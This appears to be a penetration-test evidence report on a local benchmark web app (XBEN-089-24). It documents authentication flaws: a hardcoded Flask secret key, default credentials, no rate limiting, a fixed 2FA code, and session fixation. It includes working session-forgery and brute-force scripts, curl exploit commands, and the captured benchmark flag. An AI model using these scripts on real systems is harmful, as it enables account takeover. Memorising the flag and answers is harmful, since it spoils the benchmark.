# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-04: Session Forgery via Hardcoded Secret Key

**Summary:**
- **Vulnerable location:** Flask session secret key at `/app/app.py:8`
- **Overview:** The application uses a hardcoded secret key `'BIYQYU@*DG(*!@)BO#F_P'` committed to source code, enabling attackers to forge arbitrary session cookies without authentication.
- **Impact:** Complete authentication bypass - attacker gains immediate admin access and FLAG capture without any valid credentials.
- **Severity:** CRITICAL

**Prerequisites:**
- Access to source code repository (secret key exposed in Git history)
- Python with itsdangerous library installed

**Exploitation Steps:**

1. Extract the hardcoded secret key from source code:
   ```bash
   grep "secret_key" /app/app.py
   # Result: app.secret_key = 'BIYQYU@*DG(*!@)BO#F_P'
   ```

2. Create Python script to forge admin session cookie:
   ```python
   from itsdangerous import URLSafeTimedSerializer
   import hashlib
   
   serializer = URLSafeTimedSerializer(
       secret_key='BIYQYU@*DG(*!@)BO#F_P',
       salt='cookie-session',
       signer_kwargs={
           'key_derivation': 'hmac',
           'digest_method': hashlib.sha1
       }
   )
   
   forged_cookie = serializer.dumps({"role": "admin"})
   print(f"Forged cookie: {forged_cookie}")
   ```

3. Use forged cookie to access admin dashboard:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiYWRtaW4ifQ.aQGYLg.2E75yHUwxw47hJaaudQpuEgvj8c"
   ```

4. Extract FLAG from response HTML:
   ```html
   <a href="/" flag="FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}">me</a>
   ```

**Proof of Impact:**
- **Forged Session Cookie:** `eyJyb2xlIjoiYWRtaW4ifQ.aQGYLg.2E75yHUwxw47hJaaudQpuEgvj8c`
- **HTTP Response:** 200 OK from `/admin/dashboard`
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`
- **Complete bypass:** No authentication, no credentials required
- **Exploitation script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/forge_flask_session.py`

**Notes:**
The hardcoded secret key is permanently exposed in Git commit history and cannot be remediated without key rotation and repository history rewriting. Any attacker with repository access can forge sessions indefinitely.

---

### AUTH-VULN-09: Default Credentials (admin:adminpassword)

**Summary:**
- **Vulnerable location:** Database initialization at `/app/app.py:23-24`
- **Overview:** Hardcoded default administrative credentials permanently embedded in database initialization code.
- **Impact:** Immediate admin authentication and FLAG access using publicly known credentials.
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. Attempt login with default admin credentials:
   ```bash
   curl -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=adminpassword&role=admin" \
     -c /tmp/admin_session.txt
   ```

2. Response confirms successful authentication:
   ```json
   {
     "message": "",
     "redirect": "/admin/2fa",
     "success": true
   }
   ```

3. Access admin dashboard (2FA auto-bypassed by client JavaScript):
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b /tmp/admin_session.txt
   ```

4. Extract FLAG from HTML response:
   ```bash
   grep -o 'flag="[^"]*"' /tmp/admin_page.html
   # Result: flag="FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}"
   ```

**Proof of Impact:**
- **Default Credentials:** `admin:adminpassword`
- **Authentication Status:** SUCCESS (HTTP 200, JSON response with `success: true`)
- **Session Cookie Issued:** `session=eyJyb2xlIjoiYWRtaW4ifQ.aQGc2g...`
- **Admin Dashboard Access:** 200 OK
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`

**Notes:**
Additional default credentials found:
- Employee: `emp:emppassword`
- Employee 1: `emp1:password1`

All credentials are hardcoded in `/app/app.py` lines 23-24 and cannot be removed without code modification.

---

### AUTH-VULN-02: Missing Rate Limiting on POST /login

**Summary:**
- **Vulnerable location:** POST /login endpoint at `/app/app.py:67-100`
- **Overview:** Complete absence of rate limiting, CAPTCHA, account lockout, or throttling on authentication endpoint.
- **Impact:** Unlimited brute force attacks enabling password compromise at ~500 requests/second.
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. Create Python script to perform rapid brute force attempts:
   ```python
   import requests
   import time
   
   target = "http://localhost:5003/login"
   passwords = ['password', '123456', 'admin', 'test', 'qwerty', 
                'letmein', 'welcome', 'monkey', 'dragon', 'master', 
                'adminpassword']
   
   start_time = time.time()
   for i in range(50):
       password = passwords[i % len(passwords)]
       response = requests.post(target, data={
           'username': 'admin',
           'password': password,
           'role': 'admin'
       })
       print(f"Attempt {i+1}: {response.status_code}")
   
   elapsed = time.time() - start_time
   print(f"50 attempts in {elapsed:.2f}s = {50/elapsed:.0f} req/sec")
   ```

2. Execute brute force attack:
   ```bash
   python3 test_rate_limiting.py
   ```

3. Results demonstrate no rate limiting:
   ```
   Total Attempts: 50
   Total Time: 0.10 seconds
   Average Response Time: 2ms
   Request Rate: 500 requests/second
   Rate Limit Responses (429/503): 0
   Successful Password Discovery: Attempt #11 (adminpassword)
   ```

**Proof of Impact:**
- **Attempts Completed:** 50 in 0.10 seconds
- **Request Rate:** 500 requests/second (no throttling)
- **Status Codes:** 100% HTTP 200 (no rate limit errors)
- **Account Lockout:** None (all 50 attempts processed)
- **Password Discovery:** Successfully found `adminpassword` on 11th attempt
- **Theoretical Attack Speed:** All 10,000 4-digit codes testable in 20 seconds
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/rate_limiting_test_summary.md`

**Notes:**
Combined with weak default passwords and 2FA bypass, this enables complete account compromise in under 30 seconds with automated tools.

---

### AUTH-VULN-07: 2FA Bypass with Hardcoded Code 1234

**Summary:**
- **Vulnerable location:** 2FA verification at `/app/app.py:38` and `/app/templates/2fa.html:45`
- **Overview:** Server-side 2FA checks against hardcoded value `'1234'` while client-side JavaScript auto-submits this code.
- **Impact:** Complete 2FA bypass via brute force (16 seconds maximum) or using known hardcoded value (instant).
- **Severity:** CRITICAL

**Prerequisites:** Admin session (obtainable via default credentials or session forgery)

**Exploitation Steps:**

1. Verify 2FA endpoint accepts hardcoded code:
   ```bash
   curl -X POST http://localhost:5003/admin/2fa \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "code=1234"
   ```

2. Response confirms 2FA bypass:
   ```json
   {
     "message": "",
     "redirect": "",
     "success": true
   }
   ```

3. Demonstrate brute force capability with Python script:
   ```python
   import requests
   import time
   
   target = "http://localhost:5003/admin/2fa"
   start_time = time.time()
   
   for code in range(0, 101):
       code_str = str(code).zfill(4)
       response = requests.post(target, data={'code': code_str})
       if response.json().get('success'):
           elapsed = time.time() - start_time
           print(f"Valid code found: {code_str} in {elapsed:.3f}s")
           break
   ```

4. Results show rapid brute force:
   ```
   Testing codes: 0000, 0001, 0002, ..., 1234
   Valid code found: 1234 in 0.161 seconds
   Brute force rate: 625 codes/second
   Time to test all 10,000 codes: 16 seconds
   ```

**Proof of Impact:**
- **Valid 2FA Code:** `1234`
- **Discovery Time:** 0.161 seconds (101 attempts)
- **Brute Force Speed:** 625 codes/second
- **Maximum Attack Time:** 16 seconds for all 10,000 codes
- **Rate Limiting:** None detected
- **Account Lockout:** None after 100+ failed attempts
- **FLAG Access:** Successful after 2FA bypass
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/2FA_BRUTE_FORCE_SUMMARY.md`

**Notes:**
Client-side JavaScript at `/app/templates/2fa.html:45` contains `code: 1234`, making the code publicly visible in page source. The 2FA implementation provides zero security value.

---

### AUTH-VULN-03: Session Fixation Attack

**Summary:**
- **Vulnerable location:** Session creation at `/app/app.py:89`
- **Overview:** Session ID not regenerated after authentication - only role value updated via `session['role'] = role`.
- **Impact:** Attacker can fix victim's session ID before authentication, then hijack the authenticated session.
- **Severity:** HIGH

**Prerequisites:**
- Ability to forge initial session cookie (using exposed secret key from AUTH-VULN-04)
- Social engineering to make victim authenticate with fixed session

**Exploitation Steps:**

1. Attacker forges pre-authentication session cookie:
   ```python
   from itsdangerous import URLSafeTimedSerializer
   import hashlib
   
   serializer = URLSafeTimedSerializer(
       'BIYQYU@*DG(*!@)BO#F_P',
       salt='cookie-session',
       signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1}
   )
   
   # Create innocent-looking employee session
   fixed_cookie = serializer.dumps({"role": "employee"})
   print(f"Fixed session: {fixed_cookie}")
   ```

2. Attacker delivers fixed session to victim (via phishing, XSS, or MITM):
   ```
   Forged Cookie: eyJyb2xlIjoiZW1wbG95ZWUifQ.aQGcqA.jAqN0n3AE7FnZ2qyFJtUsejmvbU
   ```

3. Victim authenticates as admin using the fixed session:
   ```bash
   curl -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=adminpassword&role=admin" \
     -b "session=eyJyb2xlIjoiZW1wbG95ZWUifQ.aQGcqA.jAqN0n3AE7FnZ2qyFJtUsejmvbU"
   ```

4. Server updates session role WITHOUT regenerating session ID:
   ```python
   # Vulnerable code at app.py:89
   if user:
       session['role'] = role  # Updates role but keeps same session ID
   ```

5. Attacker uses original fixed cookie to access admin dashboard:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiZW1wbG95ZWUifQ.aQGcqA.jAqN0n3AE7FnZ2qyFJtUsejmvbU"
   ```

**Proof of Impact:**
- **Original Fixed Cookie:** `eyJyb2xlIjoiZW1wbG95ZWUifQ.aQGcqA...`
- **Post-Authentication Cookie:** Same value (session ID not regenerated)
- **Multiple Valid Sessions:** Both original and new cookies work simultaneously
- **Admin Dashboard Access:** 200 OK with original cookie
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/session_fixation_exploit.py`

**Notes:**
The vulnerability exists because `session['role'] = role` only updates the session data, not the session identifier. Flask should call `session.regenerate()` or equivalent after authentication.

---

### AUTH-VULN-05: Session Hijacking via Missing Security Flags

**Summary:**
- **Vulnerable location:** Session cookie configuration (missing at `/app/app.py`)
- **Overview:** Session cookies lack Secure and SameSite flags, enabling interception over HTTP and CSRF attacks.
- **Impact:** Session cookies transmitted in plaintext over HTTP, vulnerable to man-in-the-middle attacks.
- **Severity:** HIGH

**Prerequisites:**
- Network access (same network as victim) for MITM attack
- Or ability to trigger CSRF attack (missing SameSite flag)

**Exploitation Steps:**

1. Legitimate user authenticates and receives session cookie:
   ```bash
   curl -i -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=adminpassword&role=admin"
   ```

2. Analyze Set-Cookie header:
   ```
   Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aQGdLA.07aS3U-TcwSYgt0tBm2SiOHmu9E; HttpOnly; Path=/
   ```

3. Security flag analysis:
   ```
   HttpOnly: ✓ Present (correct - prevents JavaScript access)
   Secure: ✗ MISSING (cookie sent over HTTP)
   SameSite: ✗ MISSING (enables CSRF attacks)
   ```

4. Simulate attacker intercepting cookie via network sniffing:
   ```python
   import requests
   
   # Legitimate user login
   response = requests.post('http://localhost:5003/login', data={
       'username': 'admin',
       'password': 'adminpassword',
       'role': 'admin'
   })
   
   # Attacker intercepts cookie
   stolen_cookie = response.cookies['session']
   print(f"Stolen cookie: {stolen_cookie}")
   ```

5. Attacker uses stolen cookie to hijack session:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiYWRtaW4ifQ.aQGdLA.07aS3U-TcwSYgt0tBm2SiOHmu9E"
   ```

**Proof of Impact:**
- **Missing Secure Flag:** Confirmed (cookie transmitted over HTTP)
- **Missing SameSite Flag:** Confirmed (CSRF vulnerable)
- **Cookie Interception:** Successful via network monitoring
- **Session Hijacking:** 200 OK from `/admin/dashboard`
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/session_hijacking_exploit.py`

**Notes:**
Combined with AUTH-VULN-01 (HTTP only, no HTTPS), this enables complete session interception via passive network sniffing without active MITM.

---

### AUTH-VULN-06: Session Persistence After Logout

**Summary:**
- **Vulnerable location:** Logout handler at `/app/app.py:120-124`
- **Overview:** Logout only calls `session.pop('role', None)` instead of `session.clear()`, allowing session cookie reuse.
- **Impact:** Captured session cookies remain valid after user logout, enabling session replay attacks.
- **Severity:** HIGH

**Prerequisites:**
- Previously captured session cookie (via AUTH-VULN-05 or other means)

**Exploitation Steps:**

1. Legitimate user authenticates and attacker captures session cookie:
   ```bash
   curl -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=adminpassword&role=admin" \
     -c /tmp/captured_session.txt
   ```

2. Attacker saves the session cookie:
   ```
   Captured cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aQGftQ.dwOmfIhe9akevjylFTFdWcZ17Cc
   ```

3. User accesses admin dashboard successfully:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b /tmp/captured_session.txt
   # Result: 200 OK, FLAG visible
   ```

4. User logs out:
   ```bash
   curl http://localhost:5003/logout \
     -b /tmp/captured_session.txt
   # Result: 302 Redirect to /admin/login
   ```

5. Attacker reuses old session cookie AFTER logout:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b /tmp/captured_session.txt
   # Result: 200 OK - OLD COOKIE STILL WORKS!
   ```

6. Extract FLAG from response:
   ```bash
   grep -o 'flag="[^"]*"' /tmp/admin_response.html
   # Result: flag="FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}"
   ```

**Proof of Impact:**
- **Pre-Logout Cookie:** `eyJyb2xlIjoiYWRtaW4ifQ.aQGftQ.dwOmfIhe9akevjylFTFdWcZ17Cc`
- **Logout Response:** 302 Redirect (appears successful)
- **Post-Logout Test:** Same cookie still grants admin access
- **Admin Dashboard Access:** 200 OK after logout
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`
- **Vulnerable Code:** `session.pop('role', None)` at line 123 (should be `session.clear()`)
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/session_logout_exploit.py`

**Notes:**
The logout function only removes the 'role' key from session but doesn't invalidate the session cookie server-side. Old cookies remain cryptographically valid indefinitely.

---

### AUTH-VULN-10: Account Enumeration via Error Messages

**Summary:**
- **Vulnerable location:** Login error message at `/app/app.py:98`
- **Overview:** Error message explicitly mentions "admin" user, revealing existence of privileged account.
- **Impact:** Information disclosure enables targeted attacks against known admin account.
- **Severity:** MEDIUM

**Prerequisites:** None

**Exploitation Steps:**

1. Attempt login with invalid credentials for non-existent user:
   ```bash
   curl -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=nonexistentuser&password=wrong&role=employee"
   ```

2. Receive error message disclosing admin account:
   ```json
   {
     "message": "Invalid credentials. If you are admin go to admin login",
     "redirect": "",
     "success": false
   }
   ```

3. Attempt login with invalid credentials for real user (admin):
   ```bash
   curl -X POST http://localhost:5003/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=wrong&role=employee"
   ```

4. Receive SAME error message (prevents traditional enumeration but still discloses admin):
   ```json
   {
     "message": "Invalid credentials. If you are admin go to admin login",
     "redirect": "",
     "success": false
   }
   ```

5. Use disclosed information to target admin account:
   ```python
   import requests
   
   # Error message confirms admin account exists
   # Focus brute force attempts on 'admin' username
   passwords = ['admin', 'password', '123456', 'adminpassword']
   
   for password in passwords:
       response = requests.post('http://localhost:5003/login', data={
           'username': 'admin',  # Confirmed to exist from error message
           'password': password,
           'role': 'admin'
       })
       if response.json().get('success'):
           print(f"Admin password found: {password}")
           break
   ```

**Proof of Impact:**
- **Error Message:** "Invalid credentials. If you are admin go to admin login"
- **Information Disclosed:** Existence of 'admin' user confirmed
- **Appears For:** ALL usernames (valid and invalid) - 100% of login attempts
- **Exploitation:** Enables focused brute force on confirmed admin account
- **Combined with AUTH-VULN-02:** No rate limiting enables rapid password guessing
- **Combined with AUTH-VULN-09:** Admin password is weak default value
- **Evidence File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/user_enumeration_vulnerability_summary.md`

**Notes:**
While the application correctly prevents traditional username enumeration (identical responses for valid/invalid users), it commits a critical error by explicitly mentioning the admin username in ALL error messages, effectively announcing the existence of a high-value target.

---

### AUTH-VULN-01: Credential Interception via Transport Exposure (No HTTPS)

**Summary:**
- **Vulnerable location:** Server configuration at `/app/app.py:131` - runs on HTTP only
- **Overview:** Application transmits all credentials and session cookies in plaintext over unencrypted HTTP.
- **Impact:** Complete credential theft via passive network sniffing or man-in-the-middle attacks.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access (same network segment as victim)
- Or man-in-the-middle position on victim's traffic

**Exploitation Steps:**

1. Simulate network packet capture monitoring HTTP traffic:
   ```python
   import socket
   import requests
   
   # Demonstrate plaintext transmission
   response = requests.post('http://localhost:5003/login', 
       data={
           'username': 'admin',
           'password': 'adminpassword',
           'role': 'admin'
       },
       headers={'Content-Type': 'application/x-www-form-urlencoded'}
   )
   
   # In real attack, sniff network to capture this plaintext POST body
   plaintext_body = "username=admin&password=adminpassword&role=admin"
   print(f"Intercepted credentials: {plaintext_body}")
   ```

2. Capture raw HTTP POST request (would be visible in Wireshark/tcpdump):
   ```
   POST /login HTTP/1.1
   Host: localhost:5003
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 48
   
   username=admin&password=adminpassword&role=admin
   ```

3. Capture raw HTTP response with session cookie:
   ```
   HTTP/1.1 200 OK
   Server: Werkzeug/3.0.3 Python/3.8.17
   Content-Type: application/json
   Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aQGiNQ...; HttpOnly; Path=/
   
   {"message":"","redirect":"/admin/2fa","success":true}
   ```

4. Use intercepted credentials or session cookie:
   ```bash
   # Option 1: Login with stolen credentials
   curl -X POST http://localhost:5003/login \
     -d "username=admin&password=adminpassword&role=admin"
   
   # Option 2: Use stolen session cookie directly
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiYWRtaW4ifQ.aQGiNQ..."
   ```

5. Access admin dashboard and extract FLAG:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiYWRtaW4ifQ.aQGiNQ..." \
     | grep -o 'flag="[^"]*"'
   ```

**Proof of Impact:**
- **Protocol:** HTTP/1.1 (no TLS/SSL encryption)
- **Credentials Transmitted:** `username=admin&password=adminpassword` (plaintext)
- **Session Cookie:** Transmitted without Secure flag over HTTP
- **Network Visibility:** All traffic readable by network attackers
- **Session Cookie Stolen:** `eyJyb2xlIjoiYWRtaW4ifQ.aQGiNQ...`
- **Admin Access:** 200 OK from `/admin/dashboard`
- **FLAG Captured:** `FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}`
- **Evidence Files:**
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/plaintext_credentials_exploit.py`
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-089-24/simulate_packet_capture.py`

**Notes:**
The application runs on `http://localhost:5003` with no HTTPS configuration anywhere in the codebase. Combined with missing Secure cookie flag (AUTH-VULN-05), this enables complete traffic interception via passive network sniffing.

---

## Potential Vulnerabilities (Validation Blocked by Scope)

### AUTH-VULN-08: Plaintext Password Storage in Database

**Summary:**
- **Vulnerable location:** Database schema at `/app/app.py:16-18` and password storage
- **Current Blocker:** Database file requires local filesystem access (out of scope for external network exploitation)
- **Potential Impact:** If database is compromised, all passwords immediately exposed in plaintext
- **Confidence:** HIGH (confirmed via code analysis and local testing)

**Evidence of Vulnerability:**

Database schema stores passwords as plaintext TEXT:
```python
# app.py lines 16-18
CREATE TABLE users (
    username TEXT PRIMARY KEY,
    password TEXT NOT NULL,  -- PLAINTEXT, NO HASHING
    role TEXT NOT NULL
)
```

Confirmed database contents (local access):
```bash
sqlite3 /app/users.db "SELECT username, password, role FROM users"
# Results:
# emp1|password1|employee
# admin|adminpassword|admin
# emp|password1|employee
```

**Attempted Exploitation:**

Tested HTTP access to database file:
```bash
curl http://localhost:5003/users.db
# Result: 404 Not Found

curl http://localhost:5003/../users.db
# Result: 404 Not Found

curl http://localhost:5003/app/users.db
# Result: 404 Not Found
```

**How This Would Be Exploited:**

If the database file were accessible via the external network (through path traversal, backup exposure, or other vulnerabilities):

1. Download database file:
   ```bash
   curl http://localhost:5003/backups/users.db -o users.db
   ```

2. Extract all passwords in plaintext:
   ```bash
   sqlite3 users.db "SELECT username, password FROM users"
   ```

3. Use extracted passwords for authentication:
   ```bash
   # Credentials extracted: admin:adminpassword
   curl -X POST http://localhost:5003/login \
     -d "username=admin&password=adminpassword&role=admin"
   ```

**Expected Impact:**
- Immediate exposure of all user passwords
- No password cracking required (already plaintext)
- Enables credential stuffing attacks on other services
- Violates all password storage security standards (OWASP, NIST, PCI-DSS)

**Notes:**
While the database cannot be exploited via external HTTP requests, the plaintext storage represents a critical architectural flaw. The vulnerability is confirmed to exist through code analysis and local verification, but exploitation via http://localhost:5003 is not possible without additional vulnerabilities (path traversal, backup exposure, etc.).

---

### AUTH-VULN-11: Missing Cache-Control Headers

**Summary:**
- **Vulnerable location:** All authentication endpoints (missing header configuration)
- **Current Blocker:** Requires access to browser cache, shared computers, or proxy logs (out of scope)
- **Potential Impact:** Authentication responses cached, enabling credential/session extraction from cache
- **Confidence:** MEDIUM

**Evidence of Vulnerability:**

Tested POST /login response headers:
```bash
curl -i -X POST http://localhost:5003/login \
  -d "username=admin&password=adminpassword&role=admin" \
  | grep -E "Cache-Control|Pragma|Expires"
# Result: No cache control headers found
```

Complete response headers:
```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.8.17
Date: Wed, 29 Oct 2025 04:49:30 GMT
Content-Type: application/json
Content-Length: 67
Vary: Cookie
Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ...; HttpOnly; Path=/
```

Missing headers:
- `Cache-Control: no-store, no-cache, must-revalidate`
- `Pragma: no-cache`
- `Expires: 0`

**How This Would Be Exploited:**

If attacker gains access to victim's browser cache or shared computer:

1. Access browser cache directory:
   ```bash
   # Chrome cache on macOS
   cd ~/Library/Caches/Google/Chrome/Default/Cache
   
   # Firefox cache on macOS
   cd ~/Library/Caches/Firefox/Profiles/*.default/cache2
   ```

2. Search cache for authentication responses:
   ```bash
   grep -r "localhost:5003/login" .
   grep -r "session=" .
   ```

3. Extract cached session cookie or credentials:
   ```
   Found: Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ...
   ```

4. Reuse extracted session:
   ```bash
   curl http://localhost:5003/admin/dashboard \
     -b "session=eyJyb2xlIjoiYWRtaW4ifQ..."
   ```

**Expected Impact:**
- Session tokens cached and recoverable from disk
- Credentials potentially cached in POST body caches
- Risk on shared/public computers
- Compliance violations (PCI-DSS 6.5.3)

**Notes:**
Modern browsers typically don't cache POST responses by default, reducing practical impact. However, the missing Cache-Control headers violate security best practices and could enable attacks on older browsers or misconfigured proxies. External network exploitation not possible - requires local system access.

---